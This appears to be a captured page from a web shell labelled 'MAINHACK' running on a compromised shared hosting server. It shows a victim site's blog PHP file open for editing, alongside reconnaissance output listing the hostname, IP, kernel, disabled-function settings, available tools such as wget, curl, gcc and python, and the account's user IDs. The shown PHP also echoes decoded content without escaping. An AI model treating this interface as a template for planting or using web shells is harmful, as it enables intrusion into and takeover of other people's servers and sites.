[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: blog_single.php
<?php include('header.php'); $id=base64_decode($_REQUEST['id']); ?> <!-- BANNER --> <div class="banner-inner"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <?php $count=1; $sr='post'; $stmt =$show->readwithdata($sr,'id',$id); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $title=$row['title']; $content=$row['content']; $image=$row['image']; } }?> <div class="blog-single-peag"> <div class="container"> <div class="title-section text-center"> <h3 class="w3ls-title">Blog</h3> <p class="w3ls-title-sub">Welcome to <span> <?=$company_name?></span></p> </div> <div class="row"> <!--exam_calendar_box_single--> <div class="col-md-8 col-sm-7 col-xs-12"> <div class="blog-single-peag_box"> <h6><?=$title?></h6> <img src="<?=$pic_img?>/<?=$image?>" alt="blog" title="blog" style="width:100%;" class="exam_calendar_single_img"> <?=htmlspecialchars_decode($content)?> </div> </div> <div class="col-md-4 col-sm-5 col-xs-12"> <h4 class="w3ls-title">Other Blogs</h4> <?php $count=1; $sr='post'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="blog-single-peag_box-right"> <a href="blog_single.php?id=<?=base64_encode($id)?>"> <img src="<?=$pic_img?>/<?=$image?>" alt="exam_calendar" title="exam_calendar" style="width:100%;"> <h3> <?=htmlspecialchars_decode($content)?></h3> </a> </div> <?php } } ?> </div> </div> </div> </div> <!-- Footer--> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619